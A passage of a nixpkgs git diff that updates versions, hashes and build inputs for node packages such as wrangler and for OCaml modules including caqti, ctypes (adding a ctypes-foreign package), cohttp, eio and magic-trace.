sources."stream-to-blob-2.0.1" sources."stream-to-blob-url-3.0.2" sources."stream-with-known-length-to-buffer-1.0.4" - sources."streamx-2.15.6" + sources."streamx-2.16.0" sources."string-width-4.2.3" sources."string2compact-1.3.2" sources."string_decoder-1.1.1" @@ -99669,13 +99941,14 @@ in wrangler = nodeEnv.buildNodePackage { name = "wrangler"; packageName = "wrangler"; - version = "3.26.0"; + version = "3.28.3"; src = fetchurl { - url = "https://registry.npmjs.org/wrangler/-/wrangler-3.26.0.tgz"; - sha512 = "2FKDyL0wV6ws+9AHkQl5/Yzn17kG9jlpgyT7wqCDkhb5q+TCL/I8N5IKVwXe8tRrTluBI1QQZRRymoA5nu0pHw=="; + url = "https://registry.npmjs.org/wrangler/-/wrangler-3.28.3.tgz"; + sha512 = "pLuvWA5W8FhjI/a7Mr5F491KOqNMYzyWVN7dmwr+52sPv2BFrfN1v6btmhHYotSblCH8yfs5DmuxwdKuVPMw9w=="; }; dependencies = [ - sources."@cloudflare/kv-asset-handler-0.2.0" + sources."@cloudflare/kv-asset-handler-0.3.1" + sources."@cloudflare/workers-types-4.20240208.0" sources."@cspotcode/source-map-support-0.8.1" sources."@esbuild-plugins/node-globals-polyfill-0.2.3" sources."@esbuild-plugins/node-modules-polyfill-0.2.2" @@ -99702,10 +99975,10 @@ in sources."@esbuild/win32-ia32-0.17.19" sources."@esbuild/win32-x64-0.17.19" sources."@fastify/busboy-2.1.0" - sources."@jridgewell/resolve-uri-3.1.1" + sources."@jridgewell/resolve-uri-3.1.2" sources."@jridgewell/sourcemap-codec-1.4.15" sources."@jridgewell/trace-mapping-0.3.9" - sources."@types/node-20.11.15" + sources."@types/node-20.11.19" sources."@types/node-forge-1.3.11" sources."acorn-8.11.3" sources."acorn-walk-8.3.2" @@ -99716,7 +99989,7 @@ in sources."braces-3.0.2" sources."bufferutil-4.0.8" sources."capnp-ts-0.7.0" - sources."chokidar-3.5.3" + sources."chokidar-3.6.0" sources."cookie-0.5.0" sources."data-uri-to-buffer-2.0.2" sources."debug-4.3.4" @@ -99730,7 +100003,7 @@ in sources."get-source-2.0.12" sources."glob-parent-5.1.2" sources."glob-to-regexp-0.4.1" - sources."hasown-2.0.0" + sources."hasown-2.0.1" sources."is-binary-path-2.1.0" sources."is-core-module-2.13.1" sources."is-extglob-2.1.1" @@ -99738,7 +100011,7 @@ in sources."is-number-7.0.0" sources."magic-string-0.25.9" sources."mime-3.0.0" - sources."miniflare-3.20240129.0" + sources."miniflare-3.20240129.3" sources."ms-2.1.2" sources."mustache-4.2.0" sources."nanoid-3.3.7" @@ -99763,7 +100036,7 @@ in sources."supports-preserve-symlinks-flag-1.0.0" sources."to-regex-range-5.0.1" sources."tslib-2.6.2" - sources."undici-5.28.2" + sources."undici-5.28.3" sources."undici-types-5.26.5" sources."utf-8-validate-6.0.3" sources."workerd-1.20240129.0" @@ -99838,7 +100111,7 @@ in sources."concat-map-0.0.1" sources."detect-indent-6.1.0" sources."emoji-regex-8.0.0" - sources."escalade-3.1.1" + sources."escalade-3.1.2" sources."fs-extra-8.1.0" sources."fs.realpath-1.0.0" sources."get-caller-file-2.0.5" diff --git a/pkgs/development/node-packages/overrides.nix b/pkgs/development/node-packages/overrides.nix index 502c204f14590..514f8803fb14b 100644 --- a/pkgs/development/node-packages/overrides.nix +++ b/pkgs/development/node-packages/overrides.nix @@ -40,6 +40,14 @@ final: prev: { }; }; + bash-language-server = prev.bash-language-server.override { + nativeBuildInputs = [ pkgs.buildPackages.makeWrapper ]; + postInstall = '' + wrapProgram "$out/bin/bash-language-server" \ + --prefix PATH : ${lib.makeBinPath [ pkgs.shellcheck ]} + ''; + }; + bower2nix = prev.bower2nix.override { nativeBuildInputs = [ pkgs.buildPackages.makeWrapper ]; postInstall = '' @@ -72,6 +80,14 @@ final: prev: { ''; }; + grammarly-languageserver = prev.grammarly-languageserver.override (old: { + meta = old.meta // { + # requires EOL Node.js 16 + # https://github.com/znck/grammarly/issues/334 + broken = true; + }; + }); + graphql-language-service-cli = prev.graphql-language-service-cli.override { nativeBuildInputs = [ pkgs.buildPackages.makeWrapper ]; postInstall = '' diff --git a/pkgs/development/ocaml-modules/batteries/default.nix b/pkgs/development/ocaml-modules/batteries/default.nix index 6b9cff2143c95..2d013da25683e 100644 --- a/pkgs/development/ocaml-modules/batteries/default.nix +++ b/pkgs/development/ocaml-modules/batteries/default.nix @@ -4,7 +4,7 @@ buildDunePackage rec { pname = "batteries"; - version = "3.7.2"; + version = "3.8.0"; minimalOCamlVersion = "4.05"; @@ -12,7 +12,7 @@ buildDunePackage rec { owner = "ocaml-batteries-team"; repo = "batteries-included"; rev = "v${version}"; - hash = "sha256-POhdb6d4VZyCm9QYgj0m3ejduaBmm+cnd1tshWjgp04="; + hash = "sha256-Ixqfo2F4VftrIVF8oBOx/rSiJZppiwXOjVQ3Tcelxac="; }; nativeCheckInputs = [ qtest ]; diff --git a/pkgs/development/ocaml-modules/caqti/async.nix b/pkgs/development/ocaml-modules/caqti/async.nix index 328cf37986d2e..22755be193df6 100644 --- a/pkgs/development/ocaml-modules/caqti/async.nix +++ b/pkgs/development/ocaml-modules/caqti/async.nix @@ -4,7 +4,7 @@ buildDunePackage { pname = "caqti-async"; inherit (caqti) version src; - duneVersion = "3"; + minimalOCamlVersion = "4.14"; propagatedBuildInputs = [ async_kernel async_unix caqti core_kernel ]; diff --git a/pkgs/development/ocaml-modules/caqti/default.nix b/pkgs/development/ocaml-modules/caqti/default.nix index 68eb2657b324d..218f4cf3c120c 100644 --- a/pkgs/development/ocaml-modules/caqti/default.nix +++ b/pkgs/development/ocaml-modules/caqti/default.nix @@ -1,25 +1,34 @@ -{ lib, fetchurl, buildDunePackage, ocaml -, cppo, logs, ptime, uri, bigstringaf -, re, cmdliner, alcotest +{ lib +, fetchurl +, buildDunePackage +, angstrom +, bigstringaf +, domain-name +, dune-site +, ipaddr +, logs +, lwt-dllist +, mtime +, ptime +, uri }: buildDunePackage rec { pname = "caqti"; - version = "1.9.1"; + version = "2.1.1"; - minimalOCamlVersion = "4.04"; - duneVersion = "3"; + minimalOCamlVersion = "4.08"; src = fetchurl { url = "https://github.com/paurkedal/ocaml-caqti/releases/download/v${version}/caqti-v${version}.tbz"; - sha256 = "sha256-PQBgJBNx3IcE6/vyNIf26a2xStU22LBhff8eM6UPaJ4="; + hash = "sha256-SDpTX0HiZBkX/BgyzkrRX/w/ToKDsbMBiiYXNJWDCQo="; }; - nativeBuildInputs = [ cppo ]; - propagatedBuildInputs = [ logs ptime uri bigstringaf ]; - checkInputs = [ re cmdliner alcotest ]; + buildInputs = [ dune-site ]; + propagatedBuildInputs = [ angstrom bigstringaf domain-name ipaddr logs lwt-dllist mtime ptime uri ]; - doCheck = lib.versionAtLeast ocaml.version "4.08"; + # Checks depend on caqti-driver-sqlite3 (circural dependency) + doCheck = false; meta = { description = "Unified interface to relational database libraries"; diff --git a/pkgs/development/ocaml-modules/caqti/driver-mariadb.nix b/pkgs/development/ocaml-modules/caqti/driver-mariadb.nix index 859402d83ea17..bff515eff381e 100644 --- a/pkgs/development/ocaml-modules/caqti/driver-mariadb.nix +++ b/pkgs/development/ocaml-modules/caqti/driver-mariadb.nix @@ -6,8 +6,6 @@ buildDunePackage { propagatedBuildInputs = [ caqti mariadb ]; - duneVersion = "3"; - meta = caqti.meta // { description = "MariaDB driver for Caqti using C bindings"; }; diff --git a/pkgs/development/ocaml-modules/caqti/driver-postgresql.nix b/pkgs/development/ocaml-modules/caqti/driver-postgresql.nix index d48ae1186bf74..f33e38fab8df2 100644 --- a/pkgs/development/ocaml-modules/caqti/driver-postgresql.nix +++ b/pkgs/development/ocaml-modules/caqti/driver-postgresql.nix @@ -4,8 +4,6 @@ buildDunePackage { pname = "caqti-driver-postgresql"; inherit (caqti) version src; - duneVersion = "3"; - propagatedBuildInputs = [ caqti postgresql ]; meta = caqti.meta // { diff --git a/pkgs/development/ocaml-modules/caqti/driver-sqlite3.nix b/pkgs/development/ocaml-modules/caqti/driver-sqlite3.nix index d6c230d9dbded..ddac07f7fcfb3 100644 --- a/pkgs/development/ocaml-modules/caqti/driver-sqlite3.nix +++ b/pkgs/development/ocaml-modules/caqti/driver-sqlite3.nix @@ -1,13 +1,15 @@ -{ lib, buildDunePackage, caqti, ocaml_sqlite3 }: +{ lib, buildDunePackage, caqti, ocaml_sqlite3, alcotest }: buildDunePackage { pname = "caqti-driver-sqlite3"; inherit (caqti) version src; - duneVersion = "3"; - propagatedBuildInputs = [ caqti ocaml_sqlite3 ]; + checkInputs = [ alcotest ]; + + doCheck = true; + meta = caqti.meta // { description = "Sqlite3 driver for Caqti using C bindings"; }; diff --git a/pkgs/development/ocaml-modules/caqti/dynload.nix b/pkgs/development/ocaml-modules/caqti/dynload.nix index dfd52e24dd1e5..3dd94fc0e3108 100644 --- a/pkgs/development/ocaml-modules/caqti/dynload.nix +++ b/pkgs/development/ocaml-modules/caqti/dynload.nix @@ -4,8 +4,6 @@ buildDunePackage { pname = "caqti-dynload"; inherit (caqti) version src; - duneVersion = "3"; - propagatedBuildInputs = [ caqti findlib ]; meta = caqti.meta // { diff --git a/pkgs/development/ocaml-modules/caqti/lwt.nix b/pkgs/development/ocaml-modules/caqti/lwt.nix index 66e5a7ce293d7..d06421136280f 100644 --- a/pkgs/development/ocaml-modules/caqti/lwt.nix +++ b/pkgs/development/ocaml-modules/caqti/lwt.nix @@ -4,8 +4,6 @@ buildDunePackage { pname = "caqti-lwt"; inherit (caqti) version src; - duneVersion = "3"; - propagatedBuildInputs = [ caqti logs lwt ]; meta = caqti.meta // { description = "Lwt support for Caqti"; }; diff --git a/pkgs/development/ocaml-modules/caqti/type-calendar.nix b/pkgs/development/ocaml-modules/caqti/type-calendar.nix index db4d5983aedf5..26b0887f20e8a 100644 --- a/pkgs/development/ocaml-modules/caqti/type-calendar.nix +++ b/pkgs/development/ocaml-modules/caqti/type-calendar.nix @@ -4,8 +4,6 @@ buildDunePackage { pname = "caqti-type-calendar"; inherit (caqti) src version; - duneVersion = "3"; - propagatedBuildInputs = [ calendar caqti ]; meta = caqti.meta // { diff --git a/pkgs/development/ocaml-modules/cohttp/default.nix b/pkgs/development/ocaml-modules/cohttp/default.nix index 2cd68dc9cb1e8..f95c44f66725f 100644 --- a/pkgs/development/ocaml-modules/cohttp/default.nix +++ b/pkgs/development/ocaml-modules/cohttp/default.nix @@ -6,13 +6,13 @@ buildDunePackage rec { pname = "cohttp"; - version = "5.3.0"; + version = "5.3.1"; minimalOCamlVersion = "4.08"; src = fetchurl { url = "https://github.com/mirage/ocaml-cohttp/releases/download/v${version}/cohttp-${version}.tbz"; - hash = "sha256-s72RxwTl6lEOkkuDqy7eH8RqLM5Eiw+M70iDuaFu7d0="; + hash = "sha256-9eJz08Lyn/R71+Ftsj4fPWzQGkC+ACCJhbxDTIjUV2s="; }; postPatch = '' diff --git a/pkgs/development/ocaml-modules/ctypes/default.nix b/pkgs/development/ocaml-modules/ctypes/default.nix index fa9cde044e8aa..fa7bf6a587f0b 100644 --- a/pkgs/development/ocaml-modules/ctypes/default.nix +++ b/pkgs/development/ocaml-modules/ctypes/default.nix @@ -1,49 +1,35 @@ -{ lib, stdenv, fetchFromGitHub, ocaml, findlib, libffi, pkg-config, ncurses, integers, bigarray-compat }: - -if lib.versionOlder ocaml.version "4.02" -then throw "ctypes is not available for OCaml ${ocaml.version}" -else - -stdenv.mkDerivation rec { - pname = "ocaml${ocaml.version}-ctypes"; - version = "0.20.2"; +{ lib +, ocaml +, fetchFromGitHub +, buildDunePackage +, dune-configurator +, integers +, bigarray-compat +, ounit2 +}: + +buildDunePackage rec { + pname = "ctypes"; + version = "0.22.0"; src = fetchFromGitHub { owner = "ocamllabs"; repo = "ocaml-ctypes"; rev = version; - hash = "sha256-LzUrR8K88CjY/R5yUK3y6KG85hUMjbzuebHGqI8KhhM="; + hash = "sha256-xgDKupQuakjHTbjoap/r2aAjNQUpH9K4HmeLbbgw1x4="; }; - nativeBuildInputs = [ pkg-config ocaml findlib ]; - buildInputs = [ ncurses ]; - propagatedBuildInputs = [ integers libffi bigarray-compat ]; - - strictDeps = true; - - preConfigure = '' - substituteInPlace META --replace ' bytes ' ' ' - ''; + buildInputs = [ dune-configurator ]; - buildPhase = '' - runHook preBuild - make XEN=false libffi.config ctypes-base ctypes-stubs - make XEN=false ctypes-foreign - runHook postBuild - ''; + propagatedBuildInputs = [ integers bigarray-compat ]; - installPhase = '' - runHook preInstall - mkdir -p $out/lib/ocaml/${ocaml.version}/site-lib/stublibs - make install XEN=false - runHook postInstall - ''; + doCheck = lib.versionAtLeast ocaml.version "4.08"; + checkInputs = [ ounit2 ]; meta = with lib; { homepage = "https://github.com/ocamllabs/ocaml-ctypes"; description = "Library for binding to C libraries using pure OCaml"; license = licenses.mit; maintainers = [ maintainers.ericbmerritt ]; - inherit (ocaml.meta) platforms; }; } diff --git a/pkgs/development/ocaml-modules/ctypes/foreign.nix b/pkgs/development/ocaml-modules/ctypes/foreign.nix new file mode 100644 index 0000000000000..5c9efad790f24 --- /dev/null +++ b/pkgs/development/ocaml-modules/ctypes/foreign.nix @@ -0,0 +1,23 @@ +{ buildDunePackage +, ctypes +, dune-configurator +, libffi +, ounit2 +, lwt +}: + +buildDunePackage rec { + pname = "ctypes-foreign"; + + inherit (ctypes) version src doCheck; + + buildInputs = [ dune-configurator ]; + + propagatedBuildInputs = [ ctypes libffi ]; + + checkInputs = [ ounit2 lwt ]; + + meta = ctypes.meta // { + description = "Dynamic access to foreign C libraries using Ctypes"; + }; +} diff --git a/pkgs/development/ocaml-modules/curly/default.nix b/pkgs/development/ocaml-modules/curly/default.nix index 5f0e93f8f26d6..03918c0d4829a 100644 --- a/pkgs/development/ocaml-modules/curly/default.nix +++ b/pkgs/development/ocaml-modules/curly/default.nix @@ -4,15 +4,15 @@ buildDunePackage rec { pname = "curly"; - version = "0.2.0"; + version = "0.3.0"; - minimalOCamlVersion = "4.02"; + minimalOCamlVersion = "4.03"; duneVersion = "3"; src = fetchurl { url = "https://github.com/rgrinberg/curly/releases/download/${version}/curly-${version}.tbz"; - hash = "sha256-01D1+03CqxLrPoBbNWpSKOzABJf63DhQLA1kRWdueB8="; + hash = "sha256-Qn/PKBNOcMt3dk2f7uJD8x0yo4RHobXSjTQck7fcXTw="; }; propagatedBuildInputs = [ result ]; diff --git a/pkgs/development/ocaml-modules/domain-local-timeout/default.nix b/pkgs/development/ocaml-modules/domain-local-timeout/default.nix index 1baef274006f4..f0a1874acad26 100644 --- a/pkgs/development/ocaml-modules/domain-local-timeout/default.nix +++ b/pkgs/development/ocaml-modules/domain-local-timeout/default.nix @@ -6,13 +6,13 @@ buildDunePackage rec { pname = "domain-local-timeout"; - version = "0.1.0"; + version = "1.0.1"; minimalOCamlVersion = "4.12"; src = fetchurl { url = "https://github.com/ocaml-multicore/domain-local-timeout/releases/download/${version}/domain-local-timeout-${version}.tbz"; - hash = "sha256-UTqcHdGAN/LrvumPhW4Cy6RY8RJ/iVO5zTJKrhPRTjk="; + hash = "sha256-6sCqUkOjN8E+7OLUwVQntkv0vrQDkGDV8KNqDhVm0d8="; }; propagatedBuildInputs = [ mtime psq thread-table ]; diff --git a/pkgs/development/ocaml-modules/dscheck/default.nix b/pkgs/development/ocaml-modules/dscheck/default.nix index a684a46fdd44c..a2dd8bd9d2a9e 100644 --- a/pkgs/development/ocaml-modules/dscheck/default.nix +++ b/pkgs/development/ocaml-modules/dscheck/default.nix @@ -6,13 +6,13 @@ buildDunePackage rec { pname = "dscheck"; - version = "0.2.0"; + version = "0.4.0"; minimalOCamlVersion = "5.0"; src = fetchurl { url = "https://github.com/ocaml-multicore/dscheck/releases/download/${version}/dscheck-${version}.tbz"; - hash = "sha256-QgkbnD3B1lONg9U60BM2xWVgIt6pZNmOmxkKy+UJH9E="; + hash = "sha256-WWqa2O1y7krpIcxG7KLprn9SIQoWGSD3lgpXLZ9P9kA="; }; propagatedBuildInputs = [ containers oseq ]; diff --git a/pkgs/development/ocaml-modules/eio/default.nix b/pkgs/development/ocaml-modules/eio/default.nix index 5b10865b15fce..dcffdd7dbe48b 100644 --- a/pkgs/development/ocaml-modules/eio/default.nix +++ b/pkgs/development/ocaml-modules/eio/default.nix @@ -1,6 +1,6 @@ { lib , ocaml -, version ? if lib.versionAtLeast ocaml.version "5.1" then "0.14" else "0.12" +, version ? if lib.versionAtLeast ocaml.version "5.1" then "0.15" else "0.12" , buildDunePackage , bigstringaf , cstruct @@ -24,9 +24,9 @@ let minimalOCamlVersion = "5.0"; hash = "sha256-2EhHzoX/t4ZBSWrSS+PGq1zCxohc7a1q4lfsrFnZJqA="; }; - "0.14" = { + "0.15" = { minimalOCamlVersion = "5.1"; - hash = "sha256-UvhblH0+DecJQLW7qsDT54hB/qVkjnOvfYp1SrUchxs="; + hash = "sha256-gH7O8zfdqEmwXT29F6ko5vXGNudusV4iE2Z8kRJ3GKc="; }; }."${version}"; in diff --git a/pkgs/development/ocaml-modules/hacl-star/raw.nix b/pkgs/development/ocaml-modules/hacl-star/raw.nix index 00b524606fcff..b4b8c17415359 100644 --- a/pkgs/development/ocaml-modules/hacl-star/raw.nix +++ b/pkgs/development/ocaml-modules/hacl-star/raw.nix @@ -27,7 +27,10 @@ stdenv.mkDerivation rec { # strictoverflow is disabled because it breaks aarch64-darwin hardeningDisable = [ "strictoverflow" ]; + # Compatibility with ctypes ≥ 0.21 + # see: https://github.com/cryspen/hacl-packages/commit/81303b83a54a92d3b5f54f1b8ddbea60438cc2bf postPatch = '' + substituteInPlace hacl-star-raw/META --replace-warn 'requires="ctypes"' 'requires="ctypes ctypes.stubs"' patchShebangs ./ ''; diff --git a/pkgs/development/ocaml-modules/iso8601/default.nix b/pkgs/development/ocaml-modules/iso8601/default.nix index ff9ce94bbbd46..5c6d4104b6a33 100644 --- a/pkgs/development/ocaml-modules/iso8601/default.nix +++ b/pkgs/development/ocaml-modules/iso8601/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "ocaml-iso8601"; - version = "0.2.4"; + version = "0.2.5"; src = fetchFromGitHub { owner = "sagotch"; repo = "ISO8601.ml"; rev = version; - sha256 = "sha256-sXnYAJcU88797orzzfbA2XG91Lk8mDV677J1Am5o7Xo="; + sha256 = "sha256-QWjZ+2AjvXnnRVenbyCG/hSjfW53bHiftQUtWpK/7I8="; }; nativeBuildInputs = [ ocaml findlib ocamlbuild ]; diff --git a/pkgs/development/ocaml-modules/janestreet/0.14.nix b/pkgs/development/ocaml-modules/janestreet/0.14.nix index 249f9c3115d62..7d8bdc4dfb7d6 100644 --- a/pkgs/development/ocaml-modules/janestreet/0.14.nix +++ b/pkgs/development/ocaml-modules/janestreet/0.14.nix @@ -130,7 +130,7 @@ with self; hash = "0ykys3ckpsx5crfgj26v2q3gy6wf684aq0bfb4q8p92ivwznvlzy"; meta.description = "Async wrappers for SSL"; buildInputs = [ dune-configurator ]; - propagatedBuildInputs = [ async ctypes openssl ]; + propagatedBuildInputs = [ async ctypes ctypes-foreign openssl ]; # in ctypes.foreign 0.18.0 threaded and unthreaded have been merged postPatch = '' substituteInPlace bindings/dune \ diff --git a/pkgs/development/ocaml-modules/janestreet/0.15.nix b/pkgs/development/ocaml-modules/janestreet/0.15.nix index ccd2d4eab299f..f64e228a2b81a 100644 --- a/pkgs/development/ocaml-modules/janestreet/0.15.nix +++ b/pkgs/development/ocaml-modules/janestreet/0.15.nix @@ -144,7 +144,7 @@ with self; hash = "1b7f7p3xj4jr2n2dxy2lp7a9k7944w6x2nrg6524clvcsd1ax4hn"; meta.description = "Async wrappers for SSL"; buildInputs = [ dune-configurator ]; - propagatedBuildInputs = [ async ctypes openssl ]; + propagatedBuildInputs = [ async ctypes ctypes-foreign openssl ]; # in ctypes.foreign 0.18.0 threaded and unthreaded have been merged postPatch = '' substituteInPlace bindings/dune \ diff --git a/pkgs/development/ocaml-modules/janestreet/0.16.nix b/pkgs/development/ocaml-modules/janestreet/0.16.nix index 2c70445405741..562364df53bcc 100644 --- a/pkgs/development/ocaml-modules/janestreet/0.16.nix +++ b/pkgs/development/ocaml-modules/janestreet/0.16.nix @@ -146,7 +146,7 @@ with self; hash = "sha256-83YKxvVb/JwBnQG4R/R1Ztik9T/hO4cbiNTfFnErpG4="; meta.description = "Async wrappers for SSL"; buildInputs = [ dune-configurator ]; - propagatedBuildInputs = [ async ctypes openssl ]; + propagatedBuildInputs = [ async ctypes ctypes-foreign openssl ]; }; async_unix = janePackage { @@ -283,8 +283,8 @@ with self; core = janePackage { pname = "core"; - version = "0.16.1"; - hash = "sha256-cKJi67VLIsbLEgIZyFiVz00z/QEvJhNBb8+M+bR4iHU="; + version = "0.16.2"; + hash = "sha256-cyOU++XJJkU2YMHfn8saFOxLoQSFhF7kARJi/9unbFQ="; meta.description = "Industrial strength alternative to OCaml's standard library"; buildInputs = [ jst-config ]; propagatedBuildInputs = [ base base_bigstring base_quickcheck ppx_jane time_now ]; diff --git a/pkgs/development/ocaml-modules/lablgtk3/default.nix b/pkgs/development/ocaml-modules/lablgtk3/default.nix index a6aa522f7c844..3713725795989 100644 --- a/pkgs/development/ocaml-modules/lablgtk3/default.nix +++ b/pkgs/development/ocaml-modules/lablgtk3/default.nix @@ -1,4 +1,4 @@ -{ lib, fetchurl, pkg-config, buildDunePackage, dune-configurator +{ lib, fetchurl, fetchpatch, pkg-config, buildDunePackage, dune-configurator , gtk3, cairo2 , camlp-streams }: @@ -14,6 +14,13 @@ buildDunePackage rec { hash = "sha256-bxEVMzfnaH5yHVxAmifNYOy8GnSivLLgSE/9+1yxBI4="; }; + # Fix build with clang 16 + # See: https://github.com/garrigue/lablgtk/pull/175 + patches = fetchpatch { + url = "https://github.com/garrigue/lablgtk/commit/a9b64b9ed8a13855c672cde0a2d9f78687f4214b.patch"; + hash = "sha256-j/L+yYKLlj410jx2VG77hnn9SVHCcSzmr3wpOMZhX5w="; + }; + nativeBuildInputs = [ pkg-config ]; buildInputs = [ dune-configurator camlp-streams ]; propagatedBuildInputs = [ gtk3 cairo2 ]; diff --git a/pkgs/development/ocaml-modules/lilv/default.nix b/pkgs/development/ocaml-modules/lilv/default.nix index 501182db7a96a..a5def260eb291 100644 --- a/pkgs/development/ocaml-modules/lilv/default.nix +++ b/pkgs/development/ocaml-modules/lilv/default.nix @@ -1,4 +1,4 @@ -{ lib, buildDunePackage, fetchFromGitHub, dune-configurator, ctypes, lilv }: +{ lib, buildDunePackage, fetchFromGitHub, dune-configurator, ctypes, ctypes-foreign, lilv }: buildDunePackage rec { pname = "lilv"; @@ -14,7 +14,7 @@ buildDunePackage rec { minimalOCamlVersion = "4.03.0"; buildInputs = [ dune-configurator ]; - propagatedBuildInputs = [ ctypes lilv ]; + propagatedBuildInputs = [ ctypes ctypes-foreign lilv ]; meta = with lib; { homepage = "https://github.com/savonet/ocaml-lilv"; diff --git a/pkgs/development/ocaml-modules/linenoise/default.nix b/pkgs/development/ocaml-modules/linenoise/default.nix index dfd8d585e9b8b..c096e2542396b 100644 --- a/pkgs/development/ocaml-modules/linenoise/default.nix +++ b/pkgs/development/ocaml-modules/linenoise/default.nix @@ -2,7 +2,7 @@ buildDunePackage rec { pname = "linenoise"; - version = "1.4.0"; + version = "1.5"; minimalOCamlVersion = "4.03"; @@ -10,7 +10,7 @@ buildDunePackage rec { owner = "fxfactorial"; repo = "ocaml-${pname}"; rev = "v${version}"; - sha256 = "sha256-bIpZ9TO4/j24nQw5nsW7fUF7af5lhd/EmwhQRd0NYb4="; + sha256 = "sha256-ywcL5w65XXqInREalf0aDxvoEYA6tZW9eU5NGI/QETI="; }; propagatedBuildInputs = [ result ]; diff --git a/pkgs/development/ocaml-modules/lua-ml/default.nix b/pkgs/development/ocaml-modules/lua-ml/default.nix index 523e453b7d488..5c48b763fc51b 100644 --- a/pkgs/development/ocaml-modules/lua-ml/default.nix +++ b/pkgs/development/ocaml-modules/lua-ml/default.nix @@ -7,13 +7,13 @@ else stdenv.mkDerivation rec { pname = "lua-ml"; name = "ocaml${ocaml.version}-${pname}-${version}"; - version = "0.9.1"; + version = "0.9.2"; src = fetchFromGitHub { owner = "lindig"; repo = pname; rev = version; - sha256 = "04lv98nxmzanvyn4c0k6k0ax29f5xfdl8qzpf5hwadslq213a044"; + sha256 = "sha256-xkjsjKD89W7Y5XK8kfL/ZErYKS14z0u0QCARN0DbTC8="; }; nativeBuildInputs = [ opaline ocaml findlib ocamlbuild ]; diff --git a/pkgs/development/ocaml-modules/macaddr/default.nix b/pkgs/development/ocaml-modules/macaddr/default.nix index aac62b549d8d8..28269ab6dfc95 100644 --- a/pkgs/development/ocaml-modules/macaddr/default.nix +++ b/pkgs/development/ocaml-modules/macaddr/default.nix @@ -4,13 +4,13 @@ buildDunePackage rec { pname = "macaddr"; - version = "5.4.0"; + version = "5.5.0"; minimalOCamlVersion = "4.04"; src = fetchurl { url = "https://github.com/mirage/ocaml-ipaddr/releases/download/v${version}/ipaddr-${version}.tbz"; - hash = "sha256-WmYpG/cQtF9+lVDs1WIievUZ1f7+iZ2hufsdD1HHNeo="; + hash = "sha256-YokLMW4DV5KtKa8a2XFFbRDe/VJbdLU9sbZ/pCN1wXg="; }; checkInputs = [ ppx_sexp_conv ounit2 ]; diff --git a/pkgs/development/ocaml-modules/magic-mime/default.nix b/pkgs/development/ocaml-modules/magic-mime/default.nix index a48260ed38d6e..a400e073f215b 100644 --- a/pkgs/development/ocaml-modules/magic-mime/default.nix +++ b/pkgs/development/ocaml-modules/magic-mime/default.nix @@ -2,15 +2,14 @@ buildDunePackage rec { pname = "magic-mime"; - version = "1.2.0"; + version = "1.3.1"; src = fetchurl { - url = "https://github.com/mirage/ocaml-magic-mime/releases/download/v${version}/magic-mime-v${version}.tbz"; - sha256 = "sha256-8SG2dQD43Zfi/J/V0BxzJeTIS8XAI3RCd5+9b6IGlPU="; + url = "https://github.com/mirage/ocaml-magic-mime/releases/download/v${version}/magic-mime-${version}.tbz"; + hash = "sha256-4CNNA2Jduh76xY5X44dnLXWl6aYh/0ms/g9gnADxOwg="; }; minimalOCamlVersion = "4.03"; - useDune2 = true; meta = with lib; { description = "Convert file extensions to MIME types"; diff --git a/pkgs/development/ocaml-modules/magic-trace/default.nix b/pkgs/development/ocaml-modules/magic-trace/default.nix index 39bdca1119a45..8fdd92f813299 100644 --- a/pkgs/development/ocaml-modules/magic-trace/default.nix +++ b/pkgs/development/ocaml-modules/magic-trace/default.nix @@ -1,21 +1,49 @@ -{ lib, fetchFromGitHub, buildDunePackage, async, cohttp_static_handler ? null -, core_unix ? null, owee, ppx_jane, shell ? null }: +{ lib +, fetchFromGitHub +, buildDunePackage +, ocaml-crunch +, angstrom +, async +, cohttp +, cohttp_static_handler ? null +, core +, core_unix ? null +, fzf +, owee +, ppx_jane +, re +, shell ? null +}: buildDunePackage rec { pname = "magic-trace"; - version = "1.1.0"; + version = "1.2.1"; minimalOCamlVersion = "4.12"; - duneVersion = "3"; src = fetchFromGitHub { owner = "janestreet"; repo = "magic-trace"; rev = "v${version}"; - sha256 = "sha256-615AOkrbQI6vRosA5Kz3Epipe9f9+Gs9+g3bVl5gzBY="; + hash = "sha256-/9TDjCG/06mhGyqbjAdUmk6fcaq9fNDqVSw51w5EEy4="; }; - buildInputs = [ async cohttp_static_handler core_unix owee ppx_jane shell ]; + nativeBuildInputs = [ + ocaml-crunch + ]; + buildInputs = [ + angstrom + async + cohttp + cohttp_static_handler + core + core_unix + fzf + owee + ppx_jane + re + shell + ]; meta = with lib; { description = diff --git a/pkgs/development/ocaml-modules/mariadb/default.nix b/pkgs/development/ocaml-modules/mariadb/default.nix index 3974024818398..3ac6027b22fd0 100644 --- a/pkgs/development/ocaml-modules/mariadb/default.nix +++ b/pkgs/development/ocaml-modules/mariadb/default.nix @@ -15,10 +15,16 @@ stdenv.mkDerivation rec { sha256 = "sha256-3/C1Gz6luUzS7oaudLlDHMT6JB2v5OdbLVzJhtayHGM="; }; - patches = fetchpatch { - url = "https://github.com/andrenth/ocaml-mariadb/commit/9db2e4d8dec7c584213d0e0f03d079a36a35d9d5.patch"; - hash = "sha256-heROtU02cYBJ5edIHMdYP1xNXcLv8h79GYGBuudJhgE="; - }; + patches = lib.lists.map (x: + fetchpatch { + url = "https://github.com/andrenth/ocaml-mariadb/commit/${x.path}.patch"; + inherit (x) hash; + }) + [ { path = "9db2e4d8dec7c584213d0e0f03d079a36a35d9d5"; + hash = "sha256-heROtU02cYBJ5edIHMdYP1xNXcLv8h79GYGBuudJhgE="; } + { path = "40cd3102bc7cce4ed826ed609464daeb1bbb4581"; + hash = "sha256-YVsAMJiOgWRk9xPaRz2sDihBYLlXv+rhWtQIMOVLtSg="; } + ]; postPatch = '' substituteInPlace setup.ml --replace '#use "topfind"' \ diff --git a/pkgs/development/ocaml-modules/mdx/default.nix b/pkgs/development/ocaml-modules/mdx/default.nix index 53ea92a2bbef9..1cd6a7d55e552 100644 --- a/pkgs/development/ocaml-modules/mdx/default.nix +++ b/pkgs/development/ocaml-modules/mdx/default.nix @@ -4,13 +4,6 @@ , gitUpdater }: -let - # Strip optional dependencies from logs to make the closure smaller as this - # package contains a binary - logs' = logs.override { jsooSupport = false; lwtSupport = false; }; - -in - buildDunePackage rec { pname = "mdx"; version = "2.3.1"; @@ -24,7 +17,7 @@ buildDunePackage rec { nativeBuildInputs = [ cppo ]; propagatedBuildInputs = [ - astring fmt logs' csexp ocaml-version camlp-streams re findlib + astring fmt logs csexp ocaml-version camlp-streams re findlib ]; checkInputs = [ alcotest lwt ]; diff --git a/pkgs/development/ocaml-modules/mirage-crypto/default.nix 